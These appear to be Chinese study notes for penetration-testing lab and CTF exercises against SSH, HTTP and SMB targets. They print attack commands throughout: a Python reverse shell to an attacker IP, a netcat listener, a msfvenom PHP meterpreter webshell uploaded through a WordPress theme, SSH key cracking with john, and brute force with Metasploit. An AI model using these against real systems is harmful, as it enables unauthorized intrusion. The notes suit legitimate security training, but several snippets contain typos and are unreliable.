- 第一章
- 探测靶场IP:
netdiscover -r <ip>/netmask
- 例子:本地机ip:192.168.253.12
- 使用
netdiscover -r 192.168.253.1/24
(为什么?)
- 使用
- 探测靶场IP:
- 查看当前ip地址:
ipconfig
- 测试连通性:
ping <ip>
- 第二章
- 信息探测:
nmap -sV <ip>
(挖掘开放服务信息)- 例子:
nmap -sV 192.168.253.10
- 探测靶场开放的服务于服务的版本:
nmap -sV <ip>
- 探测靶场的全部信息:
namp -A -v <ip>
- 探测靶场的操作系统类型与版本:
nmap -O <ip>
- 分析探测结果
- 每一个服务对应计算机的一个端口,用来进行通信。常用端口0~1023端口,在扫描结果中查找特殊端口(如mysql:3306)。
- 针对特殊端口进行探测,尤其对开发大端口的http服务进行排查
- 探测大端口的信息
- 对于开放http服务的大端口,可以采取http://ip:port/的形式访问
- 查看源代码获取对应信息;如果没有flag信息,可以使用工具探测隐藏页面
dirb http://ip:port
(探测隐藏页面)- 敏感文件:
- .ssh
- .robots
- taxes
- ssh:
- 使远程计算机使用ssh登录到本地服务器ssh服务上,实现远程计算机对ssh服务的操作
- 直接使用浏览器访问,查看效果、对应源代码可能会获取flag,或者下一步对应的提示
- 挖掘ssh信息,不断访问多去更多泄漏的ssh秘钥信息
- ssh认证方式:
- id_rsa(私钥)
- 服务器id_rsa.pub(公钥)
- 对比成功则登录服务器,否则失败
- 使用私钥文件登录服务器:
- 先切换到文件所在目录
- 赋予可读可写权限
- 查看权限:
ls -alh
- 查看权限:
- 查看用户名:authorized_keys
- 赋予 id_rsa 可读可写权限:
chmod 600 id_rsa
ssh -i id_rsa <用户名>@<ip>
- 解密 ssh秘钥信息
- 使用 ssh2john 将id_isa秘钥信息转化为john可以识别的信息。
- ssh2john id_isa > isacrack
- 利用字典解密
isacrack
:zcat /usr/share/wordlists/rockyou.txt | john --pipe --rules isacrack
- 分析用户名、利用ssh登录服务器
- 注意root目录
- 查找具有root权限的文件:
find / -perm -4000 2>/dev/null
- whoami:看是什么权限
- ssh基于22号端口的服务
- 例子:
- 分析探测结果
- 对于SSH服务的22端口的靶场:
- 暴力破解
- 私钥泄漏(私钥有没有对应的密码,是否可以找到私钥的用户名)
- 对于开放http服务的80端口或者其他端口的靶场
- 通过浏览器访问对应的靶场服务,如
http://靶场ip地址:http服务端口
- 使用探测工具对http的目录进行探测,如:
dirb http://靶场IP地址:http服务端口
- 特别注意:特殊端口(大于1024的端口)
- 对于某些靶场,可以使用
nikto
扫描器挖掘敏感信息:nikto -host 靶场IP地址
- 特别注意
config
、file结尾的
等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息
- 通过浏览器访问对应的靶场服务,如
- 利用敏感、弱点信息
- 修改id_rsa的权限:
chmod 600 id_rsa
- 利用私钥登录服务器:
ssh -i id_rsa 用户名@靶场IP地址
- 注意:如果 id_rsa没有破解密码,可以直接使用,如果有解密密码,则需要进行对应的破解
- 下载私钥信息:
wget "网址"
- 重命名:
mv 文件名 重命名的文件名
- 查看所有文件:
ls -all
- 修改id_rsa的权限:
- 扩大战果:
- 查看当前用户:
whoami
- id 查看当前用户的权限
- 查看 根目录 寻找flag文件
- 如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组
- cat /etc/passwd 查看所有用户的列表
- cat /etc/group 查看用户组
- find / -user 用户名 查看属于某些用户的文件
- /tmp 查看缓冲文件目录
- 查看当前用户:
- 如何提权:
- 深入挖掘:
- 通过 /etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务
- cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶机机器的某个文件。
- 如果在 /etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
- 如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否有读写权限。
- su -root 寻找root靶机机器的方式
- 切换到/home/用户名 目录查看是否具有可以提升root权限的文件
- 反弹shell
- 靶场代码
1
2
3
4
5
6
7
8
9#!/usr/bin/python
import os, subprocess, socket
s = socket.socekt(socket.AF_INET, socket.SOCK_STREAM)
s.connect("攻击机IP地址", "攻击机监听端口")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"]) - 攻击机
netcat
命令:nc -lpv 未占用接口
(未占用接口与攻击机监听端口一一对应) - 查看占用端口:
netstat -pantu
- 添加执行权限:
chmod +x 文件名
- 靶场代码
- 背水一战
- 万不得已的时候,只能对ssh服务进行暴力破解。破解最后一个用户名。破解工具 如:hydra、medusa等
- 利用cupp 创建字典:
- git clone https://github.com/jeanphorn/common-password.git
- chmod +x cupp.py
- ./cupp.py -i 以交互的方式创建字典
- 使用metasploit破解SSH
- 在终端输入:msfconsole
- msc > use auxiliary/scanner/ssh/ssh_login
- msf auxiliary(ssh_login) > set rhosts IP地址
- msf auxiliary(ssh_login) > set username hadi
- msf auxiliary(ssh_login) > set pass_file hadi.txt
- msf auxiliary(ssh_login) > set threads 5
- msf auxiliary(ssh_login) > show options(查看状态))
- msf auxiliary(ssh_login) > set verbose true
- msf auxiliary(ssh_login) > run
- msf auxiliary(ssh_login) > set password hadi123
- msf auxiliary(ssh_login) > back (关闭)
- 优化会话
-
python -c "import pty;pty.spawn('/bin/bash')"
- su - root
-
- 总结:
- 在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
- CTF中 要特别注意 /tep数据缓冲目录 以及 /etc/crontab设置定时执行的文件
- 深入挖掘:
- 对于SSH服务的22端口的靶场:
- 信息探测:
- 第三章
- SMB介绍:
- SMB通信协议是微软和英特尔在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba
- SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445
- SMB协议,计算机可以访问网络资源,下载对应的资源文件
- 实验环境:
- Kali linux 192.168.253.12
- 靶场机器 192.168.253.17
- 信息探测
- 对于知识给定一个对应IP地址的靶场机器,我们需要对其 进行扫描,探测开放的服务
- 渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限
- nmap -sV IP 挖掘开放服务信息
- nmap -A -v -T4 IP 挖掘靶场全部信息
- 针对SMB协议弱点分析
- 针对SMB协议,使用空口令,若口令尝试登陆,并查看敏感文件,下载查看;
- smbclient -L IP
- smbclient ‘\IP$share’
- get 敏感文件
- 敏感信息:
- deets.txt
- wordpress
- config
- 针对SMB协议远程溢出漏洞进行分析;
- searchsploit samba 版本号
- 登陆数据库
- mysql -h IP -u Admin -p
- 针对HTTP协议拖点分析
- 浏览器查看网站
- 使用 dirb nikto 探测
- 寻找突破点,目标登陆后台,上传webshell
- 制作webshell
- msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php
- 启动监听
- msf > use exploit/multi/handler
- msf exploit(handler) > set payload php/meterpreter/reverse_tcp
- msf exploit(handler) > set lhost 攻击机IP
- msf exploit(handler) > set lport 4444
- msf exploit(handler) > run
- 上传webshell
- 使用找到的敏感信息登陆系统后台,上传webshell。执行webshell(访问具有webshell的php页面)
- 获得反弹的shell
- wordpress 上传点 theme 404.php
- 执行:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
- 查找flag信息
- 优化终端:python -c “import pty; pty.spawn(‘/bin/bash’)”
- 查找敏感信息,提升root权限,查看flag值
- 查找用户名:cat /etc/passwd
- 查找密码:在共享目录下的敏感文件,提升权限
- su 用户名
- sudo -l
- su sudo
- 总结
- 对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件
- 一般情况下flag值都在/root目录下,并且需要提升root权限才能查看内容
- 针对SMB协议,使用空口令,若口令尝试登陆,并查看敏感文件,下载查看;
- SMB介绍: